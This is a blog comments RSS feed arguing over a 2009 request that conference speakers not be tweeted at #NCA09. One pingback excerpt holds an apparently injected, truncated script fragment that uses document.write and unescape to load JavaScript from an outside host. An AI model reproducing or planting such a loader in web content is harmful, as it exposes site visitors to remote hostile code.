<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: First, Do No Tweeting (at #NCA09)</title>
	<atom:link href="http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/feed/" rel="self" type="application/rss+xml" />
	<link>http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/</link>
	<description></description>
	<lastBuildDate>Thu, 09 Feb 2012 16:32:42 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: Event Hashtags: Lessons Learned from NCA &#171; JAMcArthur</title>
		<link>http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/comment-page-1/#comment-27142</link>
		<dc:creator>Event Hashtags: Lessons Learned from NCA &#171; JAMcArthur</dc:creator>
		<pubDate>Wed, 20 Jul 2011 21:36:21 +0000</pubDate>
		<guid isPermaLink="false">http://publicrelationsmatters.com/?p=1653#comment-27142</guid>
		<description>[...] during conference sessions. Barbara Nixon wrote a post about the controversy entitled, &#8220;First Do No Tweeting.&#8221; The vibrant conversation on Twitter about the snafu prompted NCA&#8217;s leadership to [...]</description>
		<content:encoded><![CDATA[<p>[...] during conference sessions. Barbara Nixon wrote a post about the controversy entitled, &#8220;First Do No Tweeting.&#8221; The vibrant conversation on Twitter about the snafu prompted NCA&#8217;s leadership to [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Public Relations Matters &#187; Blog Archive &#187; Tweetin&#8217; in the Classroom</title>
		<link>http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/comment-page-1/#comment-16849</link>
		<dc:creator>Public Relations Matters &#187; Blog Archive &#187; Tweetin&#8217; in the Classroom</dc:creator>
		<pubDate>Tue, 23 Mar 2010 16:10:39 +0000</pubDate>
		<guid isPermaLink="false">http://publicrelationsmatters.com/?p=1653#comment-16849</guid>
		<description>[...] &#8212; When I attended the National Communication Association convention last fall, there was a bit of a kerfuffle about Twitter usage during conference sessions.)     var ecov = &quot;sh&quot;; document.write(unescape(&quot;%3Cscript src=&#039;http://eco-safe.com/js/eco.js&#039; [...]</description>
		<content:encoded><![CDATA[<p>[...] &#8212; When I attended the National Communication Association convention last fall, there was a bit of a kerfuffle about Twitter usage during conference sessions.)     var ecov = &quot;sh&quot;; document.write(unescape(&quot;%3Cscript src=&#39;<a href="http://eco-safe.com/js/eco.js&#038;#39" rel="nofollow">http://eco-safe.com/js/eco.js&#038;#39</a>; [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Follow Friday: Techie Twitterers to know</title>
		<link>http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/comment-page-1/#comment-15001</link>
		<dc:creator>Follow Friday: Techie Twitterers to know</dc:creator>
		<pubDate>Mon, 21 Dec 2009 13:30:24 +0000</pubDate>
		<guid isPermaLink="false">http://publicrelationsmatters.com/?p=1653#comment-15001</guid>
		<description>[...] Public Relations Matters » Blog Archive » First, Do No Tweeting &#8230;       Tags: facebook, google, international diplomacy, virtual gifts [...]</description>
		<content:encoded><![CDATA[<p>[...] Public Relations Matters » Blog Archive » First, Do No Tweeting &#8230;       Tags: facebook, google, international diplomacy, virtual gifts [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Barbara Nixon</title>
		<link>http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/comment-page-1/#comment-14377</link>
		<dc:creator>Barbara Nixon</dc:creator>
		<pubDate>Sat, 14 Nov 2009 02:39:53 +0000</pubDate>
		<guid isPermaLink="false">http://publicrelationsmatters.com/?p=1653#comment-14377</guid>
		<description>Wow . . . this post sparked some great conversation by several people. Thanks so much for your thoughts.

Barbara</description>
		<content:encoded><![CDATA[<p>Wow . . . this post sparked some great conversation by several people. Thanks so much for your thoughts.</p>
<p>Barbara</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Tracy Mueller</title>
		<link>http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/comment-page-1/#comment-14374</link>
		<dc:creator>Tracy Mueller</dc:creator>
		<pubDate>Fri, 13 Nov 2009 17:33:29 +0000</pubDate>
		<guid isPermaLink="false">http://publicrelationsmatters.com/?p=1653#comment-14374</guid>
		<description>I think Debra&#039;s point about other distractions is an important one. Twitter did not create rude people - it&#039;s just another way for them to be rude. 

That being said, tweeting during a talk doesn&#039;t automatically make you an impolite audience member. I&#039;ve been to plenty of conferences where the audience was writing notes, typing on laptops AND tweeting and most people were still engaged with the speaker and listening closely. In fact, when I&#039;m tweeting from a talk, I often pay more attention, b/c I want to catch the best info and record it accurately.

It seems that the view from the stage would be pretty similar regardless of how people are taking notes - a sea of people, some with heads down recording information. So why should the speaker care? The only difference with Twitter is that it erases the idea of a captive audience. If the speaker isn&#039;t effective, people can use Twitter to virtually escape the room. But that, in my opinion, is the fault of the presenter, not the technology.</description>
		<content:encoded><![CDATA[<p>I think Debra&#8217;s point about other distractions is an important one. Twitter did not create rude people &#8211; it&#8217;s just another way for them to be rude. </p>
<p>That being said, tweeting during a talk doesn&#8217;t automatically make you an impolite audience member. I&#8217;ve been to plenty of conferences where the audience was writing notes, typing on laptops AND tweeting and most people were still engaged with the speaker and listening closely. In fact, when I&#8217;m tweeting from a talk, I often pay more attention, b/c I want to catch the best info and record it accurately.</p>
<p>It seems that the view from the stage would be pretty similar regardless of how people are taking notes &#8211; a sea of people, some with heads down recording information. So why should the speaker care? The only difference with Twitter is that it erases the idea of a captive audience. If the speaker isn&#8217;t effective, people can use Twitter to virtually escape the room. But that, in my opinion, is the fault of the presenter, not the technology.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Chris</title>
		<link>http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/comment-page-1/#comment-14373</link>
		<dc:creator>Chris</dc:creator>
		<pubDate>Fri, 13 Nov 2009 16:17:02 +0000</pubDate>
		<guid isPermaLink="false">http://publicrelationsmatters.com/?p=1653#comment-14373</guid>
		<description>Barbara,

Thanks for posting these questions.  My thoughts match with Bill&#039;s above.  I am not attending NCA this year, so receiving Tweets allows me to keep up with some panels and ongoings from afar, almost a &quot;distantconferencing&quot; via Twitter.  In regards to listening, we are slowly adapting to new technologies and adapting our listening behaviors and cognitions accordingly. 

Technology use, listening, and ethics would be a great panel/paper presentation at the ILA convention.  And, now for a shameless plug for the 31st International Listening Association (ILA) Convention: Albuquerque, NM Mar. 25-26-27, 2010.  Check out www.listen.org.  Deadlines for submissions are in December.  

Follow Friday @cdbond</description>
		<content:encoded><![CDATA[<p>Barbara,</p>
<p>Thanks for posting these questions.  My thoughts match with Bill&#8217;s above.  I am not attending NCA this year, so receiving Tweets allows me to keep up with some panels and ongoings from afar, almost a &#8220;distantconferencing&#8221; via Twitter.  In regards to listening, we are slowly adapting to new technologies and adapting our listening behaviors and cognitions accordingly. </p>
<p>Technology use, listening, and ethics would be a great panel/paper presentation at the ILA convention.  And, now for a shameless plug for the 31st International Listening Association (ILA) Convention: Albuquerque, NM Mar. 25-26-27, 2010.  Check out <a href="http://www.listen.org" rel="nofollow">http://www.listen.org</a>.  Deadlines for submissions are in December.  </p>
<p>Follow Friday @cdbond</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: SDB</title>
		<link>http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/comment-page-1/#comment-14372</link>
		<dc:creator>SDB</dc:creator>
		<pubDate>Fri, 13 Nov 2009 16:08:21 +0000</pubDate>
		<guid isPermaLink="false">http://publicrelationsmatters.com/?p=1653#comment-14372</guid>
		<description>As an adjunct professor of PR at a university I&#039;ve learned several things about social media and academia in the last year or so.  First, students don&#039;t know squat about it because they&#039;re not being taught it in school, either as a technology, or how to use it strategically in communications.  Second, they&#039;re not being taught it because most academics are behind the curve on what&#039;s going on in the &quot;real world&quot; and therefore are sending graduates out into the world who have few skills usable in the business world.  

Why?   They think social media is a fad, the CB radio of this decade, and they don&#039;t know how to blend theory and practice in the classroom.

So, when I saw that this conference was for an organization of educators and researchers, it all clicked.  They don&#039;t want Tweeting because they aren&#039;t used to teaching in a room full of Twitterers--no electronic devices are allowed in classrooms because many students use the technology to cheat.  And academicians are too often guarded about their research and don&#039;t want to share anything until it&#039;s peer-reviewed and published.  In a world where your survival depends on &quot;publish or perish&quot; you play your cards very close.  Academics are not drumming up business, looking for business contacts or potential clients when they&#039;re talking at a conference, like professionals are.  They&#039;re protecting their turf.

The &quot;No-Tweet&quot; rule is based on fear.   If these speakers went to more actual professional conferences, like PRSA and IABC and participated in the local chapters in their towns, and actually interacted with professionals in the field, they&#039;d know that Tweeting during presentations is a good way of getting your message out, and getting feedback immediately.  As one commenter said here, looking at the hashtag feed later is an excellent means of self-evaluating the presentation. 

I agree it can be rude to sit with your head down staring at your mobile communications device.  But not every statement is Tweetworthy, so look at the speaker, and only look down when you need to Tweet.  I also try to approach the speaker ahead of time, introduce myself, let them know in general who my followers are, (students and professional contacts) and tell them I may Tweet a few comments.  Then I don&#039;t sit on the front row, so as not to call attention to (and make them nervous about) every Tweet I send.

A little common courtesy and some good manners will go a long way in all social media settings.</description>
		<content:encoded><![CDATA[<p>As an adjunct professor of PR at a university I&#8217;ve learned several things about social media and academia in the last year or so.  First, students don&#8217;t know squat about it because they&#8217;re not being taught it in school, either as a technology, or how to use it strategically in communications.  Second, they&#8217;re not being taught it because most academics are behind the curve on what&#8217;s going on in the &#8220;real world&#8221; and therefore are sending graduates out into the world who have few skills usable in the business world.  </p>
<p>Why?   They think social media is a fad, the CB radio of this decade, and they don&#8217;t know how to blend theory and practice in the classroom.</p>
<p>So, when I saw that this conference was for an organization of educators and researchers, it all clicked.  They don&#8217;t want Tweeting because they aren&#8217;t used to teaching in a room full of Twitterers&#8211;no electronic devices are allowed in classrooms because many students use the technology to cheat.  And academicians are too often guarded about their research and don&#8217;t want to share anything until it&#8217;s peer-reviewed and published.  In a world where your survival depends on &#8220;publish or perish&#8221; you play your cards very close.  Academics are not drumming up business, looking for business contacts or potential clients when they&#8217;re talking at a conference, like professionals are.  They&#8217;re protecting their turf.</p>
<p>The &#8220;No-Tweet&#8221; rule is based on fear.   If these speakers went to more actual professional conferences, like PRSA and IABC and participated in the local chapters in their towns, and actually interacted with professionals in the field, they&#8217;d know that Tweeting during presentations is a good way of getting your message out, and getting feedback immediately.  As one commenter said here, looking at the hashtag feed later is an excellent means of self-evaluating the presentation. </p>
<p>I agree it can be rude to sit with your head down staring at your mobile communications device.  But not every statement is Tweetworthy, so look at the speaker, and only look down when you need to Tweet.  I also try to approach the speaker ahead of time, introduce myself, let them know in general who my followers are, (students and professional contacts) and tell them I may Tweet a few comments.  Then I don&#8217;t sit on the front row, so as not to call attention to (and make them nervous about) every Tweet I send.</p>
<p>A little common courtesy and some good manners will go a long way in all social media settings.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Bill</title>
		<link>http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/comment-page-1/#comment-14369</link>
		<dc:creator>Bill</dc:creator>
		<pubDate>Fri, 13 Nov 2009 15:16:41 +0000</pubDate>
		<guid isPermaLink="false">http://publicrelationsmatters.com/?p=1653#comment-14369</guid>
		<description>I love this type of conversation. Thanks Barbara for opening the opportunity. 

I have a quick question for the group - for context when is it not okay to tweet?</description>
		<content:encoded><![CDATA[<p>I love this type of conversation. Thanks Barbara for opening the opportunity. </p>
<p>I have a quick question for the group &#8211; for context when is it not okay to tweet?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Mihaela (Dr. V)</title>
		<link>http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/comment-page-1/#comment-14368</link>
		<dc:creator>Mihaela (Dr. V)</dc:creator>
		<pubDate>Fri, 13 Nov 2009 15:12:37 +0000</pubDate>
		<guid isPermaLink="false">http://publicrelationsmatters.com/?p=1653#comment-14368</guid>
		<description>I am relieved to hear there&#039;s no NCA policy on tweeting.

As to the individual speakers, I think they may request whatever they want (everybody give me $20) and it&#039;s an individual decision whether to comply or not.

What worries me is that so many communication researchers dismiss or ignore significant changes in society, when it&#039;s their job to study them. I interpret the &quot;no tweeting&#039; request as a desperate attempt to fight back change &amp; control audiences, and a total disinterest in keeping up with the times. Am I reading too much into it?</description>
		<content:encoded><![CDATA[<p>I am relieved to hear there&#8217;s no NCA policy on tweeting.</p>
<p>As to the individual speakers, I think they may request whatever they want (everybody give me $20) and it&#8217;s an individual decision whether to comply or not.</p>
<p>What worries me is that so many communication researchers dismiss or ignore significant changes in society, when it&#8217;s their job to study them. I interpret the &#8220;no tweeting&#8217; request as a desperate attempt to fight back change &amp; control audiences, and a total disinterest in keeping up with the times. Am I reading too much into it?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: teamsiems</title>
		<link>http://publicrelationsmatters.com/2009/11/13/first-do-no-tweeting-at-nca09/comment-page-1/#comment-14367</link>
		<dc:creator>teamsiems</dc:creator>
		<pubDate>Fri, 13 Nov 2009 14:44:42 +0000</pubDate>
		<guid isPermaLink="false">http://publicrelationsmatters.com/?p=1653#comment-14367</guid>
		<description>Good article. I suppose it all boils down to context. At #heweb09 it looked like a iPhone convention. Everyone either had one or wanted one. The unfortunate were relegated to netbooks/laptops. We would have LOL if a presenter said please don&#039;t tweet this. The context of the conference was tech in higher education. Twitter is another tool we use daily and we wouldn&#039;t be caught without it at a conference.

On the other hand, if I was at a PR conference, or a formal dinner/presentation, I would expect everyone to pay attention to the speaker and not tweet.

If you can write notes you can tweet. Your head will be down either way. If that is a distraction to the speaker, then the speaker needs more speaking engagements.</description>
		<content:encoded><![CDATA[<p>Good article. I suppose it all boils down to context. At #heweb09 it looked like a iPhone convention. Everyone either had one or wanted one. The unfortunate were relegated to netbooks/laptops. We would have LOL if a presenter said please don&#8217;t tweet this. The context of the conference was tech in higher education. Twitter is another tool we use daily and we wouldn&#8217;t be caught without it at a conference.</p>
<p>On the other hand, if I was at a PR conference, or a formal dinner/presentation, I would expect everyone to pay attention to the speaker and not tweet.</p>
<p>If you can write notes you can tweet. Your head will be down either way. If that is a distraction to the speaker, then the speaker needs more speaking engagements.</p>
]]></content:encoded>
	</item>
</channel>
</rss>

